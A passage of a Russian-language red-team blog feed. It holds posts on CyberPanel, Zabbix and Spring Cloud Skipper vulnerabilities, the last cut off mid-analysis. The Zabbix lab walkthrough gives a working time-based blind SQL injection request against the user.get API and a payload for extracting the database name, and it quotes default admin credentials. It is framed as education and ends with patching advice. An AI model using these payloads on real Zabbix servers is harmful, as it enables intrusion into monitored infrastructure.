    &lt;li id=&quot;2Gpp&quot;&gt;Патч для уязвимости доступен. Необходимо обновить &lt;code&gt;CyberPanel&lt;/code&gt; до версии, включающей исправление. Эта уязвимость затрагивает версии до &lt;code&gt;2.3.6&lt;/code&gt; и непатченную &lt;code&gt;2.3.7&lt;/code&gt;. Убедитесь, что вы используете последнюю версию программного обеспечения. Инструкции по обновлению можно найти на официальном сайте &lt;code&gt;CyberPanel&lt;/code&gt;.&lt;/li&gt;
    &lt;li id=&quot;5AqN&quot;&gt;Ограничьте доступ к панели управления.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h1 id=&quot;i4y6&quot;&gt;Заключение&lt;/h1&gt;
  &lt;/section&gt;
  &lt;p id=&quot;Uoj6&quot;&gt;Для предотвращения атак настоятельно рекомендуется срочно установить патч, ограничить доступ к панели управления и провести аудит системы на предмет возможного компрометации. Эта уязвимость подчеркивает важность регулярного обновления ПО и применения средств мониторинга.&lt;/p&gt;

</content></entry><entry><id>giscyberteam:zabbix_cve_2024_42327</id><link rel="alternate" type="text/html" href="https://teletype.in/@giscyberteam/zabbix_cve_2024_42327?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=giscyberteam"></link><title>Remote Code Execution через SQL инъекцию в Zabbix (CVE-2024-42327)</title><published>2024-12-11T11:23:10.576Z</published><updated>2024-12-11T11:23:10.576Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img3.teletype.in/files/2c/a0/2ca0c9db-57a2-4d49-8592-b0b03c95f363.png"></media:thumbnail><category term="vulnerability" label="Vulnerability"></category><summary type="html">&lt;img src=&quot;https://img4.teletype.in/files/7c/e0/7ce0c193-8076-4510-8c5f-3f1d8ed5ddd6.jpeg&quot;&gt;Zabbix — это система мониторинга, предназначенная для отслеживания состояния ИТ-инфраструктуры, серверов, сетевых устройств, приложений и сервисов в реальном времени. 27 ноября 2024 года была выявлена критическая уязвимость в Zabbix с CVSS-оценкой 9.9, представляющая собой SQL-инъекцию в одном из эндпоинтов API Zabbix. Уязвимость позволяет атакующему, имеющему доступ к API, выполнить произвольные SQL-запросы.</summary><content type="html">
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;g94O&quot;&gt;Введение&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;gFz9&quot;&gt;&lt;strong&gt;Zabbix&lt;/strong&gt; — это система мониторинга, предназначенная для отслеживания состояния &lt;code&gt;ИТ&lt;/code&gt;-инфраструктуры, серверов, сетевых устройств, приложений и сервисов в реальном времени.&lt;/p&gt;
  &lt;h3 id=&quot;RTz9&quot;&gt;Для чего нужен:&lt;/h3&gt;
  &lt;ul id=&quot;47pD&quot;&gt;
    &lt;li id=&quot;6WJd&quot;&gt;&lt;strong&gt;Мониторинг ресурсов&lt;/strong&gt;: &lt;code&gt;CPU&lt;/code&gt;, память, диски, сетевые интерфейсы.&lt;/li&gt;
    &lt;li id=&quot;CR9d&quot;&gt;&lt;strong&gt;Слежение за доступностью&lt;/strong&gt;: Проверка работы сайтов, приложений, баз данных.&lt;/li&gt;
    &lt;li id=&quot;suM5&quot;&gt;&lt;strong&gt;Уведомления&lt;/strong&gt;: Настройка алертов (&lt;code&gt;e-mail&lt;/code&gt;, &lt;code&gt;Telegram&lt;/code&gt;, &lt;code&gt;SMS&lt;/code&gt;) при сбоях или достижении критических значений.&lt;/li&gt;
    &lt;li id=&quot;j0rW&quot;&gt;&lt;strong&gt;Сбор метрик&lt;/strong&gt;: Анализ производительности и прогнозирование проблем.&lt;/li&gt;
    &lt;li id=&quot;I3s4&quot;&gt;&lt;strong&gt;Автоматизация задач&lt;/strong&gt;: Выполнение удалённых команд на серверах.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;2e5B&quot;&gt;&lt;code&gt;Zabbix&lt;/code&gt; полезен для обеспечения стабильной работы инфраструктуры и быстрого реагирования на проблемы.&lt;/p&gt;
  &lt;blockquote id=&quot;eW46&quot;&gt;Данная статья представлена исключительно в образовательных целях. Red Team сообщество &amp;quot;GISCYBERTEAM&amp;quot; не несёт ответственности за любые последствия ее использования третьими лицами.&lt;/blockquote&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;oRHW&quot;&gt;Об уязвимости&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;Q1JY&quot;&gt;7 ноября 2024 года была выявлена критическая уязвимость в &lt;code&gt;Zabbix&lt;/code&gt; с CVSS-оценкой &lt;strong&gt;9.9&lt;/strong&gt;, представляющая собой &lt;code&gt;SQL&lt;/code&gt;-инъекцию в одном из эндпоинтов &lt;code&gt;API&lt;/code&gt; &lt;code&gt;Zabbix&lt;/code&gt;. Уязвимость позволяет атакующему, имеющему доступ к &lt;code&gt;API&lt;/code&gt;, выполнить произвольные &lt;code&gt;SQL&lt;/code&gt;-запросы. При определённых настройках &lt;code&gt;Zabbix&lt;/code&gt;, которые разрешают удалённое выполнение команд через агентов, эта уязвимость может быть использована для полной компрометации инфраструктуры, находящейся под мониторингом &lt;code&gt;Zabbix&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;zCnU&quot;&gt;Уязвимости подвержены следующие версии &lt;code&gt;Zabbix Frontend&lt;/code&gt;:&lt;/p&gt;
  &lt;pre id=&quot;NNUB&quot;&gt;6.0.0 - 6.0.31 / 6.0.32rc1
6.4.0 - 6.4.16 / 6.4.17rc1
7.0.0 / 7.0.1rc1&lt;/pre&gt;
  &lt;blockquote id=&quot;Dnw5&quot;&gt;&lt;strong&gt;SQL-инъекция&lt;/strong&gt; — это тип уязвимости в приложениях, при которой злоумышленник может вставить вредоносные SQL-запросы в строку запроса к базе данных. Это может позволить ему получить несанкционированный доступ к данным, изменить их, удалить или выполнить другие вредоносные операции, такие как обход аутентификации или управление системой. SQL-инъекции часто возникают из-за недостаточной валидации входных данных.&lt;/blockquote&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;XBtj&quot;&gt;Подготовка тестового окружения&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;LYpA&quot;&gt;Для развертывания стенда будет использована виртуальная машина с операционной системой &lt;code&gt;Debian&lt;/code&gt;, на которой &lt;code&gt;Zabbix&lt;/code&gt; версии &lt;code&gt;6.0.30&lt;/code&gt; будет развернут в &lt;code&gt;Docker&lt;/code&gt; контейнере. Установка будет производиться с использованием следующих команд:&lt;/p&gt;
  &lt;pre id=&quot;nGOo&quot;&gt;sudo apt install docker.io docker-compose # установка Docker и docker-compose
nano docker-compose.yaml&lt;/pre&gt;
  &lt;p id=&quot;3ggy&quot;&gt;После выполнения этих команд откроется текстовый редактор с файлом &lt;code&gt;docker-compose.yaml&lt;/code&gt;, в который необходимо внести следующее содержимое:&lt;/p&gt;
  &lt;pre id=&quot;QQOl&quot;&gt;version: &amp;#x27;3.5&amp;#x27;

services:
  zabbix-db:
    image: mysql:8.0-oracle
    container_name: zabbix-db
    environment:
      MYSQL_DATABASE: zabbix
      MYSQL_USER: zabbix
      MYSQL_PASSWORD: zabbix_password
      MYSQL_ROOT_PASSWORD: root_password
    volumes:
      - zabbix-db-data:/var/lib/mysql
    restart: unless-stopped

  zabbix-server:
    image: zabbix/zabbix-server-mysql:ubuntu-6.0.30
    container_name: zabbix-server
    environment:
      DB_SERVER_HOST: zabbix-db
      MYSQL_DATABASE: zabbix
      MYSQL_USER: zabbix
      MYSQL_PASSWORD: zabbix_password
    depends_on:
      - zabbix-db
    ports:
      - &amp;quot;10051:10051&amp;quot;
    restart: unless-stopped

  zabbix-web:
    image: zabbix/zabbix-web-nginx-mysql:ubuntu-6.0.30
    container_name: zabbix-web
    environment:
      DB_SERVER_HOST: zabbix-db
      MYSQL_DATABASE: zabbix
      MYSQL_USER: zabbix
      MYSQL_PASSWORD: zabbix_password
      PHP_TZ: Europe/Moscow
    depends_on:
      - zabbix-server
    ports:
      - &amp;quot;8080:8080&amp;quot;
    restart: unless-stopped

  zabbix-agent:
    image: zabbix/zabbix-agent:ubuntu-6.0.30
    container_name: zabbix-agent
    environment:
      ZBX_SERVER_HOST: zabbix-server
    depends_on:
      - zabbix-server
    restart: unless-stopped

volumes:
  zabbix-db-data:&lt;/pre&gt;
  &lt;p id=&quot;JqFa&quot;&gt;Теперь для запуска &lt;code&gt;Zabbix&lt;/code&gt; достаточно выполнить команду из каталога, содержащего файл &lt;code&gt;docker-compose.yaml&lt;/code&gt;:&lt;/p&gt;
  &lt;pre id=&quot;fkYy&quot;&gt;sudo docker-compose up -d&lt;/pre&gt;
  &lt;p id=&quot;e1mq&quot;&gt;Веб-интерфейс &lt;code&gt;Zabbix&lt;/code&gt; стал доступен по адресу: &lt;code&gt;http://127.0.0.1:8080:&lt;/code&gt;&lt;/p&gt;
  &lt;figure id=&quot;15jS&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://api.weeek.net/ws/609898/files/9daee60d-c076-4f2e-9c29-d17c2bc76a0c?expires=1733919021&amp;signature=35a7ad7da59bcdcdfd57a2984f7395e2ac46b21300d7a559c8a44ce8f1c734e8&quot; width=&quot;939&quot; /&gt;
  &lt;/figure&gt;
  &lt;blockquote id=&quot;XgV9&quot;&gt;Также обратите внимание, что Zabbix можно установить с помощью официальных Docker контейнеров. Они доступны для скачивания на &lt;a href=&quot;https://github.com/zabbix/zabbix-docker&quot; target=&quot;_blank&quot;&gt;GitHub&lt;/a&gt;.&lt;/blockquote&gt;
  &lt;h3 id=&quot;it78&quot;&gt;Подготовка условий для эксплуатации уязвимости&lt;/h3&gt;
  &lt;p id=&quot;AhMa&quot;&gt;Для эксплуатации уязвимости необходим пользовательский аккаунт с доступом к &lt;code&gt;API&lt;/code&gt;. Для демонстрации создадим аккаунт с минимальными правами, но доступом к &lt;code&gt;API&lt;/code&gt;. Создать пользователя можно в разделе &lt;strong&gt;&lt;code&gt;Administration -&amp;gt; Users&lt;/code&gt;:&lt;/strong&gt;&lt;/p&gt;
  &lt;figure id=&quot;ZaSr&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://api.weeek.net/ws/609898/files/9daeedb9-6ca8-47f7-b7c6-a7c611a7cb57?expires=1733919021&amp;signature=9d6d536608925c1a3f6c7a04e7cc527be5c1b30a5fb6cdbc55f669b77f1a6db8&quot; width=&quot;1902&quot; /&gt;
  &lt;/figure&gt;
  &lt;blockquote id=&quot;YJtM&quot;&gt;Стандартные админские учётные данные Zabbix:Логин: AdminПароль: zabbix&lt;/blockquote&gt;
  &lt;p id=&quot;iW6E&quot;&gt;Создадим учетную запись &lt;code&gt;giscyber&lt;/code&gt; и назначим специальную роль для этой учетной записи в разделе &lt;strong&gt;&lt;code&gt;Administration -&amp;gt; User roles&lt;/code&gt;&lt;/strong&gt;. Роль будет настроена с минимальными привилегиями и доступом к &lt;code&gt;API&lt;/code&gt;:&lt;/p&gt;
  &lt;figure id=&quot;cRFP&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://api.weeek.net/ws/609898/files/9daef02d-349d-413b-9e8c-13cd6c765d34?expires=1733919021&amp;signature=f1365d40c235bae85932885bea25bfc2b079b3b9842fcb75e07d521e2252c072&quot; width=&quot;669&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Jlrm&quot;&gt;Для получения токена сессии отправьте &lt;code&gt;POST&lt;/code&gt; запрос с логином и паролем пользователя к &lt;code&gt;API Zabbix&lt;/code&gt;:&lt;/p&gt;
  &lt;figure id=&quot;hbgY&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://api.weeek.net/ws/609898/files/9daf0031-c38d-46dd-9b43-7c0f5dae42ec?expires=1733919021&amp;signature=73c6c746f0a0ea7b2542f0bc1fbd8ae328a59f64ab56db2d9d821337d3fe55a2&quot; width=&quot;1229&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;AB5a&quot;&gt;Получив сессионный ключ, можно приступить к эксплуатации уязвимости.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;zetT&quot;&gt;Эксплуатация уявзимости&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;qzCo&quot;&gt;Эндпоинт &lt;code&gt;users.get&lt;/code&gt;, доступный любому пользователю &lt;code&gt;Zabbix&lt;/code&gt; с доступом к &lt;code&gt;API&lt;/code&gt;, уязвим к &lt;code&gt;Time-based Blind SQL injection&lt;/code&gt;&lt;strong&gt;.&lt;/strong&gt; Для проверки уязвимости можно отправить следующий запрос на &lt;code&gt;/api_jsonrpc.php&lt;/code&gt;:&lt;/p&gt;
  &lt;pre id=&quot;tElT&quot;&gt;{
  &amp;quot;jsonrpc&amp;quot;: &amp;quot;2.0&amp;quot;,
  &amp;quot;method&amp;quot;: &amp;quot;user.get&amp;quot;,
  &amp;quot;params&amp;quot;: {
    &amp;quot;selectRole&amp;quot;: [
      &amp;quot;roleid&amp;quot;,
      &amp;quot;name&amp;quot;,
      &amp;quot;type&amp;quot;,
      &amp;quot;readonly AND (SELECT(SLEEP(5)))&amp;quot;
    ],
    &amp;quot;userids&amp;quot;: [
      &amp;quot;1&amp;quot;,
      &amp;quot;2&amp;quot;
    ]
  },
  &amp;quot;id&amp;quot;: 1,
  &amp;quot;auth&amp;quot;: &amp;quot;**ЗДЕСЬ ИСПОЛЬЗУЕТСЯ ПОЛУЧЕННЫЙ РАНЕЕ СЕССИОННЫЙ КЛЮЧ**&amp;quot;
}&lt;/pre&gt;
  &lt;blockquote id=&quot;Vhq7&quot;&gt;SQL инъекция — это атака, при которой злоумышленник вводит вредоносный SQL код в приложение для доступа или изменения данных в базе данных.&lt;/blockquote&gt;
  &lt;blockquote id=&quot;wH5K&quot;&gt;Time-based SQL инъекция — это тип атаки, при котором злоумышленник использует функцию паузы в SQL запросе, чтобы проверить наличие определенных условий путем измерения времени ответа сервера.&lt;/blockquote&gt;
  &lt;p id=&quot;dYU6&quot;&gt;Как видно, в данном запросе используется встроенная в &lt;code&gt;MySQL&lt;/code&gt; функция &lt;code&gt;SLEEP()&lt;/code&gt;, которая вызывает паузу на заданное внутри скобок количество секунд. Отправив запрос, можно убедиться, что ответ сервера занимает ровно 5 секунд, что подтверждает уязвимость к &lt;code&gt;Time-based blind SQL injection&lt;/code&gt;:&lt;/p&gt;
  &lt;figure id=&quot;NPLG&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://api.weeek.net/ws/609898/files/9daf050c-7c09-4847-b3bd-46d14b5a2914?expires=1733919021&amp;signature=e96a6e1f17325bfc2f905ce2a71437d28b6c8bb8a68b377d26cdfd368a8edbd6&quot; width=&quot;1912&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;t9g2&quot;&gt;Для демонстрации возможной пользы уязвимости воспользуемся следующей нагрузкой, чтобы извлечь название базы данных, с которой работает &lt;code&gt;Zabbix&lt;/code&gt;.&lt;/p&gt;
  &lt;pre id=&quot;bxnJ&quot;&gt;AND (SELECT SLEEP(5) FROM DUAL WHERE DATABASE() LIKE &amp;#x27;_&amp;#x27;)&lt;/pre&gt;
  &lt;p id=&quot;QfJ9&quot;&gt;Для начала необходимо выяснить сколько символов в названии базы данных, для этого добавляем символ &lt;code&gt;_&lt;/code&gt; в нагрузку пока приложение не ответит с задержкой &lt;code&gt;&amp;gt;= 5&lt;/code&gt; секундам. Для тестовой конфигурации нагрузка отработала при 6 символах &lt;code&gt;_&lt;/code&gt;, значит имя базы данных содержит ровно 6 символов:&lt;/p&gt;
  &lt;figure id=&quot;5QJA&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://api.weeek.net/ws/609898/files/9daf1093-1b0f-472f-8d32-7889fa14a25e?expires=1733919021&amp;signature=1fc97b131cc281ed5cbc8d222289e00fc8fc37afd810626785147a0cbf7c4005&quot; width=&quot;1916&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;ai1j&quot;&gt;Выделим 1 символ &lt;code&gt;_&lt;/code&gt; и отправим его в &lt;code&gt;Intruder Burp Suite&lt;/code&gt;, затем выберем режим &lt;code&gt;Brute forcer&lt;/code&gt;для перебора первого символа имени базы данных:&lt;/p&gt;
  &lt;figure id=&quot;lAhd&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://api.weeek.net/ws/609898/files/9daf1e97-d680-4264-9ef1-c759c2303dfd?expires=1733919021&amp;signature=1b8d10eea11979d49ecb3d9fec828a247d0a87a1999fe09ec3c795c6a39683f8&quot; width=&quot;1757&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;WzyL&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://api.weeek.net/ws/609898/files/9daf1eb3-738f-4475-8e27-67b1c7aeff26?expires=1733919021&amp;signature=bbe659eb2a272bd7957c7fe5312c17bb1483e00cd0fd55383082fed26bafd679&quot; width=&quot;1459&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;A9kY&quot;&gt;Сортируем по времени ответы сервера и узнаём, что первая буква в имени базы данных - &lt;code&gt;z&lt;/code&gt;:&lt;/p&gt;
  &lt;figure id=&quot;XdUI&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://api.weeek.net/ws/609898/files/9daf1f7c-0704-48df-af25-c938a6d96cb5?expires=1733919021&amp;signature=7b004a1d411865da835e5079462ade30060524ace8f4bb7cbc4844e670c82635&quot; width=&quot;1699&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;SJio&quot;&gt;Проделав такие манипуляции для всех символов, выясняем что имя БД - &amp;quot;zabbix&amp;quot;:&lt;/p&gt;
  &lt;figure id=&quot;PMzI&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://api.weeek.net/ws/609898/files/9daf201f-6de0-4599-a2a9-96bbaf27cf80?expires=1733919021&amp;signature=e8bb49726b3c42ec5e7a12d96d9be81da15923ec4af896b4842cfbda7f5f0d89&quot; width=&quot;1326&quot; /&gt;
  &lt;/figure&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;Fyeg&quot;&gt;Вывод&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;7ZmX&quot;&gt;С помощью &lt;code&gt;Time-based SQL&lt;/code&gt;-инъекции злоумышленник может получить доступ к более привилегированным учетным записям &lt;code&gt;Zabbix&lt;/code&gt;, что создает угрозу компрометации всей инфраструктуры, находящейся под наблюдением агентов &lt;code&gt;Zabbix&lt;/code&gt;. &lt;/p&gt;
  &lt;p id=&quot;DtwM&quot;&gt;Это делает уязвимость особенно серьезной, что подтверждается высоким рейтингом &lt;code&gt;CVSS&lt;/code&gt;. &lt;/p&gt;
  &lt;p id=&quot;iPGr&quot;&gt;В связи с этим крайне рекомендуется устанавливать самые последние версии программного обеспечения, в которых выпущены соответствующие патчи для устранения данной уязвимости.&lt;/p&gt;

</content></entry><entry><id>giscyberteam:spring_cloud_cve_2024_37084</id><link rel="alternate" type="text/html" href="https://teletype.in/@giscyberteam/spring_cloud_cve_2024_37084?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=giscyberteam"></link><title>CVE-2024-37084: удаленное выполнение кода в Spring Cloud</title><published>2024-12-09T13:23:15.846Z</published><updated>2024-12-09T13:23:15.846Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img1.teletype.in/files/87/cc/87cc969f-108c-4be5-90f8-e0268fbbb3cb.png"></media:thumbnail><category term="vulnerability" label="Vulnerability"></category><summary type="html">&lt;img src=&quot;https://img2.teletype.in/files/9e/14/9e14de90-d451-421b-aaad-53d7cfc705a8.png&quot;&gt;Spring Cloud Skipper — это инструмент, который позволяет находить приложения Spring Boot и управлять их жизненным циклом на нескольких облачных платформах. CVE-2024-37084 — это уязвимость в Spring Cloud Skipper, которая позволяет получить доступ к исходным данным YAML.</summary><content type="html">
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;KvLc&quot;&gt;Введение&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;I2vf&quot;&gt;&lt;code&gt;Spring Cloud Skipper&lt;/code&gt; — это инструмент, который позволяет находить приложения &lt;code&gt;Spring Boot&lt;/code&gt; и управлять их жизненным циклом на нескольких облачных платформах.&lt;/p&gt;
  &lt;p id=&quot;AV1u&quot;&gt;Вы можете использовать &lt;code&gt;Skipper&lt;/code&gt; отдельно или интегрировать его с конвейерами непрерывной интеграции для обеспечения непрерывного развёртывания приложений.&lt;/p&gt;
  &lt;p id=&quot;pXfY&quot;&gt;Skipper возник из-за необходимости выполнять «потоковые изменения» в &lt;code&gt;Spring Cloud Data Flow&lt;/code&gt;. Позже было признано, что для обеспечения этой функции следует создать проект более общего назначения &lt;code&gt;Skipper&lt;/code&gt;, чтобы он также мог быть полезным набором инструментов вне контекста &lt;code&gt;Spring Cloud Data Flow&lt;/code&gt;.&lt;/p&gt;
  &lt;blockquote id=&quot;a11G&quot;&gt;Данная статья представлена исключительно в образовательных целях. Red Team сообщество &amp;quot;GISCYBERTEAM&amp;quot; не несёт ответственности за любые последствия ее использования третьими лицами.&lt;/blockquote&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;5UfD&quot;&gt;Описание уязвимости&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;KOuU&quot;&gt;&lt;code&gt;CVE-2024-37084&lt;/code&gt; — это уязвимость в &lt;code&gt;Spring Cloud Skipper&lt;/code&gt;, которая позволяет получить доступ к исходным данным &lt;code&gt;YAML&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;GhJM&quot;&gt;Чтобы преобразовать объект в формат &lt;code&gt;Yaml&lt;/code&gt; (стандартный &lt;code&gt;Yaml&lt;/code&gt;-конструктор), выполните обратную последовательность (&lt;code&gt;десериализацию&lt;/code&gt;) для этого объекта.&lt;/p&gt;
  &lt;blockquote id=&quot;Itp5&quot;&gt;&lt;strong&gt;Десериализация (deserialization)&lt;/strong&gt; - это процесс создания структуры данных из битовой последовательности путем перевода этой последовательности в объекты и их упорядочивания (структуризации).&lt;/blockquote&gt;
  &lt;blockquote id=&quot;l19S&quot;&gt;&lt;strong&gt;RCE (Remote Code Execution)&lt;/strong&gt; - это тип уязвимости в веб-приложениях, позволяющий злоумышленникам выполнять произвольный код на удаленном сервере. Это одна из самых опасных уязвимостей, так как она дает полный контроль над системой.&lt;/blockquote&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;HlOO&quot;&gt;Подготовка стенда&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;fDgd&quot;&gt;Скачиваем версию &lt;code&gt;2.11.0 Spring Cloud Data Flow&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;A6Rh&quot;&gt;&lt;a href=&quot;https://github.com/spring-cloud/spring-cloud-dataflow/releases&quot; target=&quot;_blank&quot;&gt;https://github.com/spring-cloud/spring-cloud-dataflow/releases&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;R2KB&quot;&gt;В &lt;code&gt;spring-cloud-dataflow-2.11.0/src/docker-compose/docker-compose.yml&lt;/code&gt;&lt;/p&gt;
  &lt;figure id=&quot;aOoS&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/7e/0e/7e0ee25a-1b03-4e9e-97aa-3e7456e17d30.png&quot; width=&quot;1636&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;47Ud&quot;&gt;Добавляем следующие строчки для отладки:&lt;/p&gt;
  &lt;p id=&quot;q4XY&quot;&gt;В раздел &lt;code&gt;environment&lt;/code&gt;:&lt;/p&gt;
  &lt;pre id=&quot;Nzr5&quot;&gt;JAVA_TOOL_OPTIONS=agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address =*:5005&lt;/pre&gt;
  &lt;p id=&quot;4AR1&quot;&gt;в раздел &lt;code&gt;ports&lt;/code&gt;:&lt;/p&gt;
  &lt;pre id=&quot;9phT&quot;&gt;- &amp;quot;5005:5005&amp;quot;&lt;/pre&gt;
  &lt;figure id=&quot;O7RO&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/4d/87/4d87cfff-0ab4-4db3-981f-23382832ba51.png&quot; width=&quot;1582&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;ZEJL&quot;&gt;Собираем докер:&lt;/p&gt;
  &lt;pre id=&quot;PyZv&quot;&gt;sudo docker compose up --build&lt;/pre&gt;
  &lt;figure id=&quot;xasB&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/ed/b0/edb0fd45-b52e-4643-84bf-79644ec49960.png&quot; width=&quot;932&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Asq2&quot;&gt;После установки можно просмотреть панель управления и &lt;code&gt;API Skipper Server&lt;/code&gt;:&lt;/p&gt;
  &lt;figure id=&quot;AjJA&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/e3/9c/e39c1988-f8df-4a6d-acad-aa5833f8a421.png&quot; width=&quot;1920&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;Kgqo&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/e4/f7/e4f7865c-63c0-478f-9a8a-ce09fee62491.png&quot; width=&quot;1332&quot; /&gt;
  &lt;/figure&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;Hl0a&quot;&gt;Разбор уязвимости&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;9yfE&quot;&gt;Анализ исходного кода&lt;/p&gt;
  &lt;p id=&quot;gBPa&quot;&gt;Находим функцию загрузки по пути:&lt;/p&gt;
  &lt;pre id=&quot;cjzT&quot;&gt;spring-cloud-dataflow-2.11.0/spring-cloud-skipper/spring-cloud-skipper-server-core/src/main/java/org/springframework/cloud/skipper/server/service/PackageService.java&lt;/pre&gt;
  &lt;p id=&quot;hbJY&quot;&gt;Функция:&lt;/p&gt;
  &lt;figure id=&quot;0rh0&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/fe/e6/fee680f7-8e7d-4ca4-862e-32333d10702d.png&quot; width=&quot;1282&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;2GKq&quot;&gt;Описание функции &lt;code&gt;upload()&lt;/code&gt;:&lt;/p&gt;
  &lt;ul id=&quot;SjBt&quot;&gt;
    &lt;li id=&quot;TUJC&quot;&gt;Подвердить запрос на загрузку&lt;/li&gt;
  &lt;/ul&gt;
  &lt;pre id=&quot;4p4Z&quot;&gt;Repository localRepositoryToUpload = getRepositoryToUpload(uploadRequest.getRepoName());&lt;/pre&gt;
  &lt;p id=&quot;xB2Y&quot;&gt;Эта функция проверяет данные запроса на загрузку, чтобы убедиться, что они действительны, прежде чем продолжить.&lt;/p&gt;
  &lt;ul id=&quot;CHOP&quot;&gt;
    &lt;li id=&quot;4dLG&quot;&gt;Получение репозитория для загрузки&lt;/li&gt;
  &lt;/ul&gt;
  &lt;pre id=&quot;U2ZU&quot;&gt;Repository localRepositoryToUpload = getRepositoryToUpload(uploadRequest.getRepoName());&lt;/pre&gt;
  &lt;p id=&quot;OFRK&quot;&gt;Указание репозитория, в который будет загружен пакет, на основе имени репозитория, указанного в запросе.&lt;/p&gt;
  &lt;ul id=&quot;FrL2&quot;&gt;
    &lt;li id=&quot;ZHaW&quot;&gt;Создание временного каталога и создание файла пакета&lt;/li&gt;
  &lt;/ul&gt;
  &lt;pre id=&quot;PuYL&quot;&gt;packageDirPath = TempFileUtils.createTempDirectory(&amp;quot;skipperUpload&amp;quot;);
File packageDir = new File(packageDirPath + File.separator + uploadRequest.getName());
packageDir.mkdir();
Path packageFile = Paths.get(packageDir.getPath() + File.separator + uploadRequest.getName() + &amp;quot;-&amp;quot; + uploadRequest.getVersion() + &amp;quot;.&amp;quot; + uploadRequest.getExtension());
Files.write(packageFile, uploadRequest.getPackageFileAsBytes());&lt;/pre&gt;
  &lt;p id=&quot;Dg6c&quot;&gt;Создание временной директории в системе для размещения загружаемого пакета. Затем из данных пакета создаются временные файлы и сохраняются в этой директории.&lt;/p&gt;
  &lt;ul id=&quot;ppib&quot;&gt;
    &lt;li id=&quot;mEJg&quot;&gt;Распаковка файла для загрузки&lt;/li&gt;
  &lt;/ul&gt;
  &lt;pre id=&quot;8Lu8&quot;&gt;ZipUtil.unpack(packageFile.toFile(), packageDir);&lt;/pre&gt;
  &lt;p id=&quot;KUyi&quot;&gt;После загрузки файл будет распакован, чтобы иметь возможность считывать и обрабатывать содержащиеся в нем данные.&lt;/p&gt;
  &lt;ul id=&quot;giBx&quot;&gt;
